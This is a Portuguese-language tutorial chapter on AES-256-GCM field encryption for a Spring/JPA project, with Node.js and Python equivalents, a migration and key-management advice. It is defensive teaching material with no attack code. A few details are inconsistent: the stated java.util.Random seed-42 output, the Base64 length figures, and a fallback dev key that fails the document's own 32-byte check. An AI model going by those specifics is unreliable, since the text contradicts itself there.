AES e como um cadeado com chave — a MESMA chave tranca e destranca
  CRIPTOGRAFIA SIMETRICA (AES):
  ─────────────────────────────

  TEXTO PURO ──→ [ CIFRAR com chave ] ──→ CIPHERTEXT ──→ [ DECIFRAR com chave ] ──→ TEXTO PURO
  "12345678901"      chave secreta        "aG9sZGVy..."       chave secreta         "12345678901"

  Os 3 ingredientes:
  ┌──────────────────────────────────────────────────────────────────────┐
  │  1. CHAVE (256 bits = 32 bytes)                                     │
  │     - O "segredo". Quem tem a chave pode cifrar E decifrar.         │
  │     - Deve ser gerada aleatoriamente: openssl rand -base64 32       │
  │     - Armazenada em variavel de ambiente (NUNCA no codigo)          │
  │                                                                      │
  │  2. IV — Initialization Vector (12 bytes para GCM)                  │
  │     - Um "tempero" aleatorio unico para cada operacao               │
  │     - NAO e segredo (fica junto com o ciphertext)                   │
  │     - Garante que 2 textos iguais produzam ciphertexts DIFERENTES   │
  │                                                                      │
  │  3. ALGORITMO (AES-256-GCM)                                        │
  │     - AES: o "motor" da criptografia (aprovado pelo NIST)           │
  │     - 256: tamanho da chave em bits                                 │
  │     - GCM: modo de operacao que AUTENTICA alem de criptografar      │
  └──────────────────────────────────────────────────────────────────────┘

  Analogia: AES e como um cadeado de seguranca maxima.
  A CHAVE e a chave do cadeado.
  O IV e o numero de serie unico de cada cadeado.
  O ALGORITMO e o mecanismo interno do cadeado.

Por que IV aleatorio e CRUCIAL?

Sem IV aleatorio, criptografia vira um padrao previsivel
  ❌ SEM IV aleatorio (ou com IV fixo):
  ─────────────────────────────────────
  CPF "12345678901" + chave + IV_fixo → sempre "aG9sZGVy..." (mesmo resultado)
  CPF "12345678901" + chave + IV_fixo → sempre "aG9sZGVy..." (identico!)

  PROBLEMA: atacante vê dois campos iguais no banco e deduz:
  "Essas duas contas pertencem a mesma pessoa!"
  Mesmo sem saber o CPF, a IGUALDADE revela informacao.

  ✅ COM IV aleatorio (nosso caso):
  ─────────────────────────────────
  CPF "12345678901" + chave + IV_abc → "xK3pZm9yRW..." (resultado A)
  CPF "12345678901" + chave + IV_def → "qW7tYm9kRm..." (resultado B)

  CADA criptografia gera um ciphertext DIFERENTE, mesmo para o mesmo CPF.
  O atacante nao consegue identificar duplicatas.

  Por que funciona? O IV e concatenado ao ciphertext:
  ┌──────────┬───────────────────┬──────────────────┐
  │ IV (12B) │ ciphertext (var.) │ auth tag (16B)   │
  └──────────┴───────────────────┴──────────────────┘
  ↑ diferente a cada escrita      ↑ muda por causa do IV

GCM: criptografia COM autenticacao

A diferenca entre modos de operacao (ECB, CBC, GCM)
  O AES e o MOTOR. O modo de operacao e o TIPO DE CARRO:

  ┌───────────┬───────────────┬───────────────┬────────────────────────────────┐
  │ Modo      │ Criptografa?  │ Autentica?    │ Observacao                     │
  ├───────────┼───────────────┼───────────────┼────────────────────────────────┤
  │ ECB       │ Sim           │ Nao           │ ⛔ NUNCA usar! Cifra bloco a   │
  │           │               │               │ bloco independente — padroes   │
  │           │               │               │ no texto aparecem no cipher    │
  ├───────────┼───────────────┼───────────────┼────────────────────────────────┤
  │ CBC       │ Sim           │ Nao           │ ⚠️ Aceitavel, mas vulneravel  │
  │           │               │               │ a "padding oracle attacks"     │
  │           │               │               │ se mal implementado            │
  ├───────────┼───────────────┼───────────────┼────────────────────────────────┤
  │ GCM ✅   │ Sim           │ SIM!          │ ✅ Recomendado pelo NIST.      │
  │           │               │               │ Detecta se o ciphertext foi    │
  │           │               │               │ alterado (authentication tag)  │
  └───────────┴───────────────┴───────────────┴────────────────────────────────┘

  O que "autenticacao" significa aqui?

  Cenario SEM autenticacao (CBC):
  1. Atacante acessa o banco e modifica o ciphertext de um CPF
  2. Aplicacao descriptografa → recebe lixo ou outro CPF valido
  3. Aplicacao nao percebe a adulteracao!

  Cenario COM autenticacao (GCM):
  1. Atacante acessa o banco e modifica o ciphertext de um CPF
  2. Aplicacao tenta descriptografar → GCM verifica o authentication tag
  3. Tag nao bate → AEADBadTagException! Ataque detectado!

  GCM gera um "authentication tag" (16 bytes) durante a criptografia.
  Esse tag e como um SELO DE LACRE: se alguem abre (modifica), o selo quebra.

Formato do dado criptografado no banco

Anatomia do ciphertext armazenado
  O dado no banco e uma string Base64 que contem 3 partes:

  Base64( IV + ciphertext + authTag )

  Exemplo concreto para CPF "12345678901":

  ┌────────────────┬──────────────────────┬──────────────────────┐
  │  IV (12 bytes) │  ciphertext (11 B)   │  auth tag (16 bytes) │
  │  aleatorio     │  CPF cifrado         │  selo de integridade │
  └────────────────┴──────────────────────┴──────────────────────┘
  │                                                               │
  └───────────── total: 39 bytes em binario ─────────────────────┘
                         │
                         ▼ Base64 encoding (+33%)
                  "dGhpcyBpcyBhbiBleGFtcGxlLi4uMTIzNDU="
                         │
                         ▼ armazenado no banco como VARCHAR(255)

  Calculo de tamanho para o planejamento da migration:
  ┌─────────────────┬────────────┬──────────────┬───────────────┐
  │ Campo           │ Max chars  │ Bytes cripto │ Chars Base64  │
  ├─────────────────┼────────────┼──────────────┼───────────────┤
  │ holderDocument  │ 14 (CNPJ)  │ 12+14+16=42  │ ~56 chars     │
  │ keyValue        │ 77 (email) │ 12+77+16=105 │ ~140 chars    │
  └─────────────────┴────────────┴──────────────┴───────────────┘
  Usamos VARCHAR(255) para margem de seguranca em ambos.
Analogia — O Cofre com Selo

AES-256-GCM e como um cofre com selo de lacre.

A chave AES e a chave do cofre — sem ela, ninguem abre. O IV e o numero de serie unico de cada cofre — mesmo que dois cofres guardem o mesmo documento, sao cofres diferentes. O authentication tag e o selo de lacre — se alguem abrir o cofre e trocar o documento, o selo rompe e voce sabe que houve adulteracao.

Modos sem autenticacao (ECB, CBC) sao cofres SEM selo: alguem pode abrir, trocar o documento, e fechar novamente sem deixar rastro.

O que e um AttributeConverter?

Um "tradutor" automatico entre Java e o banco de dados
  AttributeConverter e uma interface do JPA com 2 metodos:

  ┌─────────────────────────────────────────────────────────────┐
  │  interface AttributeConverter<X, Y>                         │
  │                                                             │
  │  X = tipo no Java (String — texto puro)                     │
  │  Y = tipo no banco (String — ciphertext Base64)             │
  │                                                             │
  │  convertToDatabaseColumn(X)  → Y    // Java → Banco (SAVE) │
  │  convertToEntityAttribute(Y) → X    // Banco → Java (READ) │
  └─────────────────────────────────────────────────────────────┘

  O JPA chama esses metodos AUTOMATICAMENTE:
  - Ao fazer repository.save()  → chama convertToDatabaseColumn()
  - Ao fazer repository.findBy() → chama convertToEntityAttribute()

  O Service NUNCA sabe que a conversao aconteceu.
  E como um tradutor simultaneo numa conferencia internacional:
  o palestrante fala em portugues, o ouvinte escuta em ingles,
  e nenhum dos dois sabe que ha um tradutor no meio.

EncryptedStringConverter — passo a passo

convertToDatabaseColumn() — cifrando antes de salvar
  // Entrada: "12345678901" (CPF em texto puro)

  // PASSO 1 — Gerar IV aleatorio (12 bytes)
  byte[] iv = new byte[12];
  SECURE_RANDOM.nextBytes(iv);      // SecureRandom usa entropia do SO
  // iv = [0x3A, 0xF1, 0x9C, ...]  (12 bytes aleatorios)

  // PASSO 2 — Configurar o Cipher (motor de criptografia)
  Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
  GCMParameterSpec spec = new GCMParameterSpec(128, iv);  // 128 = tag bits
  cipher.init(Cipher.ENCRYPT_MODE, secretKey, spec);

  // PASSO 3 — Criptografar
  byte[] encrypted = cipher.doFinal("12345678901".getBytes());
  // encrypted = ciphertext (11 bytes) + authTag (16 bytes) = 27 bytes
  // O GCM AUTOMATICAMENTE anexa o authTag ao final do ciphertext

  // PASSO 4 — Concatenar IV + encrypted
  ByteBuffer buffer = ByteBuffer.allocate(12 + 27);  // = 39 bytes
  buffer.put(iv);          // primeiros 12 bytes = IV
  buffer.put(encrypted);   // restante = ciphertext + tag

  // PASSO 5 — Base64 para armazenar como VARCHAR
  return Base64.encode(buffer.array());  // "dGhpcyBpcyBhbi..."

  // RESULTADO no banco: "dGhpcyBpcyBhbi..." (56 chars para CPF)
convertToEntityAttribute() — decifrando ao ler
  // Entrada: "dGhpcyBpcyBhbi..." (ciphertext Base64 do banco)

  // PASSO 1 — Decodificar Base64
  byte[] decoded = Base64.decode("dGhpcyBpcyBhbi...");  // 39 bytes

  // PASSO 2 — Separar IV e ciphertext+tag
  ByteBuffer buffer = ByteBuffer.wrap(decoded);
  byte[] iv = new byte[12];
  buffer.get(iv);                         // extrai primeiros 12 bytes
  byte[] ciphertext = new byte[buffer.remaining()];
  buffer.get(ciphertext);                 // extrai restante (27 bytes)

  // PASSO 3 — Configurar Cipher em modo DECRYPT
  Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
  GCMParameterSpec spec = new GCMParameterSpec(128, iv);
  cipher.init(Cipher.DECRYPT_MODE, secretKey, spec);

  // PASSO 4 — Descriptografar E verificar integridade
  byte[] decrypted = cipher.doFinal(ciphertext);
  // Se authTag nao bater → AEADBadTagException! (dado adulterado)
  // Se tudo OK → decrypted = "12345678901" em bytes

  return new String(decrypted);  // "12345678901"

  // RESULTADO no Java: "12345678901" (texto puro, como se nunca tivesse sido cifrado)

Como aplicar nas entidades — @Convert

Uma unica annotation faz tudo funcionar
  // Account.java — ANTES:
  @Column(name = "holder_document", nullable = false, length = 14)
  private String holderDocument;

  // Account.java — DEPOIS:
  @Column(name = "holder_document", nullable = false, length = 255)  // maior para ciphertext
  @Convert(converter = EncryptedStringConverter.class)               // ← so adicionar isso!
  private String holderDocument;

  // PixKey.java — mesma coisa:
  @Column(name = "key_value", nullable = false, length = 255, unique = true)
  @Convert(converter = EncryptedStringConverter.class)
  private String keyValue;

  O que mudou?
  1. length: 14 → 255 (ciphertext em Base64 e maior que o texto puro)
  2. @Convert: diz ao JPA "use este conversor para ler/escrever este campo"

  O que NAO mudou?
  - O Service continua recebendo/enviando texto puro
  - Os DTOs continuam iguais (ninguem sabe da criptografia)
  - Os testes continuam funcionando (converter e transparente)
  - A validacao (@NotBlank) continua funcionando (valida ANTES de cifrar)

SecureRandom vs Random — por que importa

Geradores de numeros aleatorios NAO sao todos iguais
  ┌─────────────────┬────────────────────────────┬─────────────────────────┐
  │                 │ Random (java.util.Random)  │ SecureRandom            │
  ├─────────────────┼────────────────────────────┼─────────────────────────┤
  │ Fonte           │ Algoritmo matematico       │ Entropia do SO          │
  │                 │ (pseudo-aleatorio)          │ (/dev/urandom, etc)     │
  ├─────────────────┼────────────────────────────┼─────────────────────────┤
  │ Previsivel?     │ SIM — se souber a seed,    │ NAO — usa ruido real    │
  │                 │ preve todos os numeros      │ do hardware             │
  ├─────────────────┼────────────────────────────┼─────────────────────────┤
  │ Thread-safe?    │ Sim (mas com contencao)    │ Sim                     │
  ├─────────────────┼────────────────────────────┼─────────────────────────┤
  │ Usar para       │ Jogos, simulacoes,         │ Criptografia, tokens,   │
  │                 │ testes, sorteios            │ IVs, chaves, senhas     │
  ├─────────────────┼────────────────────────────┼─────────────────────────┤
  │ Performance     │ Mais rapido                │ Mais lento (aceita-se)  │
  └─────────────────┴────────────────────────────┴─────────────────────────┘

  REGRA: se o numero vai proteger algo, use SecureRandom. Sempre.

  Random com seed 42 SEMPRE gera a mesma sequencia:
    Random r = new Random(42);
    r.nextInt() → 1608637542 (sempre!)
    r.nextInt() → -518907128 (sempre!)

  SecureRandom NAO tem esse problema — cada execucao e diferente.
Analogia — O Tradutor Simultaneo

O AttributeConverter e exatamente como um tradutor simultaneo numa conferencia.

O Service (palestrante brasileiro) fala "CPF 12345678901" em portugues. O Converter (tradutor) traduz para "aG9sZGVy..." em "idioma banco". O PostgreSQL (plateia estrangeira) recebe e armazena no "idioma banco".

Quando alguem pergunta (SELECT), o Converter traduz de volta: "aG9sZGVy..." → "12345678901". O Service recebe em portugues, como se nunca tivesse sido traduzido.

O palestrante e a plateia nao sabem que o tradutor existe. E exatamente isso que "transparente" significa em software.

Migration V9 — expandindo colunas

V9__expand_columns_for_encryption.sql
  -- Por que expandir as colunas?
  --
  -- holder_document era VARCHAR(14) — cabe "12345678901" (CPF)
  -- Mas o ciphertext Base64 tem ~56 chars!
  -- Se nao expandir → truncamento → dado corrompido → impossivel decifrar

  ALTER TABLE accounts ALTER COLUMN holder_document TYPE VARCHAR(255);
  ALTER TABLE pix_keys ALTER COLUMN key_value TYPE VARCHAR(255);

  -- VARCHAR(255) e suficiente? Sim, com margem:
  -- Maior ciphertext possivel (key_value com 77 chars) → ~140 chars Base64
  -- 255 dá margem confortavel para futuras mudancas no algoritmo

  -- IMPORTANTE sobre Flyway:
  -- Esta migration roda ANTES da aplicacao iniciar (Flyway executa no startup)
  -- Entao quando o JPA começa a salvar dados criptografados, as colunas
  -- ja estao com o tamanho correto.
  --
  -- Se a migration falhar, a aplicacao NAO sobe (fail-fast).

Tradeoffs da criptografia em campo

O que ganhamos e o que perdemos ao criptografar campos
  ╔═══════════════════════════════════════════════════════════════════╗
  ║  GANHAMOS (seguranca)                                            ║
  ╠═══════════════════════════════════════════════════════════════════╣
  ║  ✅ Dados inuteis se banco for comprometido                      ║
  ║  ✅ Protecao contra DBA malicioso ou backup vazado               ║
  ║  ✅ Conformidade com LGPD (dados pessoais protegidos)            ║
  ║  ✅ Deteccao de adulteracao (authTag do GCM)                     ║
  ║  ✅ Transparente para o codigo (Service nao muda)                ║
  ╠═══════════════════════════════════════════════════════════════════╣
  ║  PERDEMOS (tradeoffs)                                            ║
  ╠═══════════════════════════════════════════════════════════════════╣
  ║  ⚠️ Buscas no banco: nao da para fazer                          ║
  ║     WHERE holder_document = '12345678901'                        ║
  ║     porque no banco o valor e "aG9sZGVy..." (ciphertext)         ║
  ║     → Solucao: buscar por ID ou manter campo de hash separado    ║
  ║                                                                   ║
  ║  ⚠️ Indices perdem utilidade: o indice em holder_document        ║
  ║     agora indexa ciphertext, nao CPF. Buscas por CPF nao         ║
  ║     usam indice.                                                  ║
  ║     → Aceitavel: buscas por CPF sao raras neste sistema          ║
  ║                                                                   ║
  ║  ⚠️ UNIQUE constraint em key_value: com IV aleatorio,            ║
  ║     dois valores iguais geram ciphertexts diferentes.             ║
  ║     O banco NAO consegue mais garantir unicidade.                 ║
  ║     → Solucao: validar unicidade no Service (descriptografando)   ║
  ║                                                                   ║
  ║  ⚠️ Performance: criptografar/descriptografar adiciona latencia  ║
  ║     (~0.1ms por operacao — insignificante para API REST)          ║
  ║                                                                   ║
  ║  ⚠️ Perda da chave = perda dos dados: se a chave AES for        ║
  ║     perdida, TODOS os dados criptografados ficam irrecuperaveis  ║
  ║     → Solucao: backup seguro da chave, rotacao planejada          ║
  ╚═══════════════════════════════════════════════════════════════════╝

Gerenciamento seguro da chave AES

Como gerar, armazenar e rotacionar a chave
  == GERACAO ==
  A chave DEVE ser gerada com um CSPRNG (gerador aleatorio criptografico):

  # Linux/Mac:
  openssl rand -base64 32
  # Resultado: "a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0u1v2w3=="

  NUNCA gerar manualmente ("minhaSenha123" → inseguro e previsivel)

  == ARMAZENAMENTO ==
  ┌──────────────────────┬──────────────┬─────────────────────────────────┐
  │ Onde                 │ Seguranca    │ Quando usar                     │
  ├──────────────────────┼──────────────┼─────────────────────────────────┤
  │ application.yml      │ ⛔ PESSIMO  │ NUNCA em producao               │
  │ (hardcoded)          │              │ (ok para dev local)             │
  ├──────────────────────┼──────────────┼─────────────────────────────────┤
  │ Variavel de ambiente │ ✅ BOM      │ Producao simples                │
  │ (ENCRYPTION_KEY)     │              │ (Docker, Heroku, etc)           │
  ├──────────────────────┼──────────────┼─────────────────────────────────┤
  │ AWS Secrets Manager  │ ✅✅ OTIMO  │ Producao enterprise             │
  │ Azure Key Vault      │              │ (rotacao automatica, audit,     │
  │ HashiCorp Vault      │              │  acesso controlado por IAM)     │
  └──────────────────────┴──────────────┴─────────────────────────────────┘

  No nosso projeto:
  encryption:
    key: ${ENCRYPTION_KEY:chave-padrao-dev}
         ───────────────  ────────────────
         env var (prod)   fallback (dev)

  == ROTACAO DE CHAVE ==
  Se a chave precisar ser trocada (comprometida, politica de seguranca):
  1. Ler todos os dados com a chave ANTIGA
  2. Re-criptografar com a chave NOVA
  3. Salvar de volta no banco
  4. Trocar a variavel de ambiente
  Isso requer um script de migracao — NAO e automatico.

Validacao da chave no startup

Fail-fast: aplicacao nao sobe com chave invalida
  No construtor do EncryptedStringConverter:

  byte[] keyBytes = Base64.getDecoder().decode(encryptionProperties.getKey());

  if (keyBytes.length != 32) {      // AES-256 exige EXATAMENTE 32 bytes
      throw new IllegalArgumentException(
          "Chave de criptografia deve ter 32 bytes (256 bits). " +
          "Recebido: " + keyBytes.length + " bytes. " +
          "Gere uma nova com: openssl rand -base64 32");
  }

  Se a chave estiver errada:
  - 16 bytes → AES-128 (mais fraco do que queremos)
  - 24 bytes → AES-192
  - 31 bytes → invalido (nao e AES)
  - 33 bytes → invalido

  A aplicacao RECUSA subir com chave de tamanho errado.
  Fail-fast: melhor falhar no startup do que cifrar dados
  com chave fraca e so descobrir meses depois.
Analogia — A Chave do Cofre Central

A chave AES e como a chave-mestre de um banco. Existe UMA chave que abre todos os cofres (todos os dados criptografados).

Gerar: a chave e cortada por uma maquina de alta precisao (openssl rand), nunca feita a mao. Guardar: fica no cofre do gerente (variavel de ambiente), NAO pendurada na parede (application.yml em producao). Perder: se o gerente perder a chave, NINGUEM acessa os cofres — os dados ficam presos para sempre.

Por isso, em sistemas reais, a chave fica em servicos como AWS Secrets Manager — que e como uma empresa de seguranca especializada em guardar chaves-mestres, com auditoria e backup automatico.

Conceitos UNIVERSAIS da criptografia em campo

Tudo que e portavel para qualquer linguagem
  CONCEITO UNIVERSAL               JAVA (Spring/JPA)      NODE.JS                PYTHON
  ──────────────────               ─────────────          ──────                 ──────

  AES-256-GCM (algoritmo)          javax.crypto.Cipher    crypto.createCipher    cryptography (Fernet)
  (padrao NIST, qualquer lang)      Cipher.getInstance()   iv() + update+final    ou AES direto

  IV aleatorio por operacao        SecureRandom           crypto.randomBytes(12) os.urandom(12)
  (nunca reutilizar IV)

  Chave via env var                System.getenv() ou     process.env.KEY        os.environ["KEY"]
  (nunca hardcodar)                 @ConfigurationProps

  Converter transparente           AttributeConverter     Mongoose middleware     SQLAlchemy TypeDecorator
  (cifra ao salvar, decifra ao ler) @Convert annotation    (pre-save hook)        ou hybrid_property

  Base64 para armazenar como texto Base64.getEncoder()    Buffer.toString('b64') base64.b64encode()
  (banco usa VARCHAR)

  Expandir colunas no banco        Flyway migration       Knex/Sequelize migr.   Alembic migration
  (ciphertext e maior que texto)

  Validar tamanho da chave         keyBytes.length == 32  Buffer.byteLength      len(key) == 32
  (fail-fast no startup)

Criptografia em campo nas 3 linguagens

Java (JPA + AttributeConverter) — nosso caso
  // 1. Converter (cifra/decifra automaticamente):
  @Converter
  @Component
  public class EncryptedStringConverter implements AttributeConverter<String, String> {
      private final SecretKey key;

      public String convertToDatabaseColumn(String attr) {
          byte[] iv = new byte[12];
          SECURE_RANDOM.nextBytes(iv);
          Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
          cipher.init(Cipher.ENCRYPT_MODE, key, new GCMParameterSpec(128, iv));
          byte[] encrypted = cipher.doFinal(attr.getBytes());
          return Base64.getEncoder().encodeToString(
              ByteBuffer.allocate(12 + encrypted.length).put(iv).put(encrypted).array());
      }
      // convertToEntityAttribute() faz o inverso...
  }

  // 2. Uso na entidade (1 annotation):
  @Convert(converter = EncryptedStringConverter.class)
  private String holderDocument;

  // Java: verboso na criacao do converter, mas 1 linha para aplicar.
  // O JPA cuida de tudo — Service nunca sabe.
Node.js (Mongoose + middleware) — hook pre-save
  const crypto = require('crypto');

  // Funcoes de criptografia:
  function encrypt(text, key) {
      const iv = crypto.randomBytes(12);
      const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);
      let encrypted = cipher.update(text, 'utf8');
      encrypted = Buffer.concat([encrypted, cipher.final()]);
      const tag = cipher.getAuthTag();
      return Buffer.concat([iv, encrypted, tag]).toString('base64');
  }

  function decrypt(data, key) {
      const buf = Buffer.from(data, 'base64');
      const iv = buf.subarray(0, 12);
      const tag = buf.subarray(-16);
      const ciphertext = buf.subarray(12, -16);
      const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);
      decipher.setAuthTag(tag);
      return decipher.update(ciphertext, null, 'utf8') + decipher.final('utf8');
  }

  // Mongoose middleware (equivalente ao AttributeConverter):
  accountSchema.pre('save', function() {
      if (this.isModified('holderDocument'))
          this.holderDocument = encrypt(this.holderDocument, KEY);
  });
  accountSchema.post('find', function(docs) {
      docs.forEach(d => d.holderDocument = decrypt(d.holderDocument, KEY));
  });

  // Node: mais manual (hooks separados para save e find),
  // mas o crypto nativo do Node e simples e poderoso.
Python (SQLAlchemy + TypeDecorator) — mais proximo do Java
  import os, base64
  from cryptography.hazmat.primitives.ciphers.aead import AESGCM
  from sqlalchemy import TypeDecorator, String

  KEY = base64.b64decode(os.environ["ENCRYPTION_KEY"])

  # TypeDecorator = equivalente Python do AttributeConverter
  class EncryptedString(TypeDecorator):
      impl = String(255)
      cache_ok = True

      def process_bind_param(self, value, dialect):
          """Python → Banco (cifrar)"""
          if value is None:
              return None
          iv = os.urandom(12)
          aesgcm = AESGCM(KEY)
          ciphertext = aesgcm.encrypt(iv, value.encode(), None)
          return base64.b64encode(iv + ciphertext).decode()

      def process_result_value(self, value, dialect):
          """Banco → Python (decifrar)"""
          if value is None:
              return None
          data = base64.b64decode(value)
          iv, ciphertext = data[:12], data[12:]
          aesgcm = AESGCM(KEY)
          return aesgcm.decrypt(iv, ciphertext, None).decode()

  # Uso no modelo (1 linha, como Java):
  class Account(Base):
      holder_document = Column(EncryptedString)

  # Python: TypeDecorator e conceitualmente identico ao AttributeConverter.
  # A biblioteca 'cryptography' abstrai bem o AES-GCM.

O que e ESPECIFICO do Java/Spring

Coisas que so Java/Spring faz dessa forma
  ESPECIFICO DO JAVA/SPRING               O QUE FAZ                  COMO OUTRAS FAZEM
  ─────────────────────────               ─────────                  ────────────────

  AttributeConverter (interface JPA)      Converter tipo Java ↔ DB   Node: Mongoose hooks
  2 metodos: toColumn() + toAttribute()                               Python: TypeDecorator

  @Convert(converter = Xxx.class)         Declarar QUAL converter    Node: schema.pre('save')
  (annotation na Entity)                   usar em qual campo          Python: Column(XxxType)

  @Converter (annotation na classe)       Registrar como converter   Node: nao tem (funcional)
  (diz ao JPA "eu sou um converter")      disponivel no JPA           Python: herdar TypeDecorator

  @Component + @Converter juntos          Permite injetar beans      Node: require() direto
  (Spring DI + JPA converter)             (EncryptionProperties)      Python: import direto

  javax.crypto.Cipher + GCMParameterSpec  API de criptografia        Node: crypto nativo
  (API standard do Java)                   do Java                     Python: cryptography lib

  ByteBuffer                              Manipular bytes com        Node: Buffer (mais simples)
  (classe Java para buffers de bytes)     posicao, get, put           Python: bytes + slicing

  SecureRandom                            CSPRNG do Java             Node: crypto.randomBytes()
  (gerador aleatorio criptografico)                                    Python: os.urandom()

  @ConfigurationProperties                Ler config YAML tipada     Node: process.env
  (bind YAML → POJO automatico)           com validacao               Python: pydantic Settings

Pseudocodigo universal

Funciona em QUALQUER linguagem
  // === CIFRAR (antes de salvar no banco) ===
  funcao cifrar(texto_puro, chave):
      iv = gerar_12_bytes_aleatorios_criptograficos()
      cipher = criar_cifrador("AES-256-GCM", chave, iv)
      resultado = cipher.cifrar(texto_puro)    // retorna ciphertext + authTag
      dados = concatenar(iv, resultado)         // IV vai junto para poder decifrar
      retornar base64_encode(dados)             // VARCHAR-friendly

  // === DECIFRAR (depois de ler do banco) ===
  funcao decifrar(base64_do_banco, chave):
      dados = base64_decode(base64_do_banco)
      iv = dados[0:12]                          // primeiros 12 bytes
      ciphertext_com_tag = dados[12:]           // restante
      cipher = criar_decifrador("AES-256-GCM", chave, iv)
      texto_puro = cipher.decifrar(ciphertext_com_tag)  // verifica authTag!
      retornar texto_puro

  // === CONVERTER TRANSPARENTE (no ORM) ===
  converter CampoEncriptado:
      ao_salvar(valor):
          retornar cifrar(valor, CHAVE_DO_AMBIENTE)
      ao_ler(valor):
          retornar decifrar(valor, CHAVE_DO_AMBIENTE)

  // === USAR NO MODELO ===
  modelo Conta:
      documento_titular: CampoEncriptado   // so isso! transparente.

  // A logica e IDENTICA em Java, Node e Python.
  // Muda a sintaxe, muda o nome das funcoes, muda como registrar o converter.
  // Mas o CONCEITO e o FLUXO sao os mesmos.
Analogia — Conclusao da Fase 03

Com o passo 3.6, completamos a Fase 03 — Seguranca. O sistema PixHub agora tem 6 camadas de protecao:

3.1 Cadastro (User) → 3.2 Recepcao com crachas (JWT) → 3.3 Catracas (JwtFilter + CORS) → 3.4 Contador de entradas (Rate Limiting) → 3.5 Detector de metais e cameras (XSS + Headers + Logs) → 3.6 Cofre blindado (AES-256-GCM)

Isso e defense in depth (defesa em profundidade): mesmo que uma camada falhe, as outras protegem. Um atacante precisaria derrotar TODAS as 6 camadas para chegar aos dados sensiveis — e nenhuma dessas camadas depende de framework especifico. Os conceitos sao universais.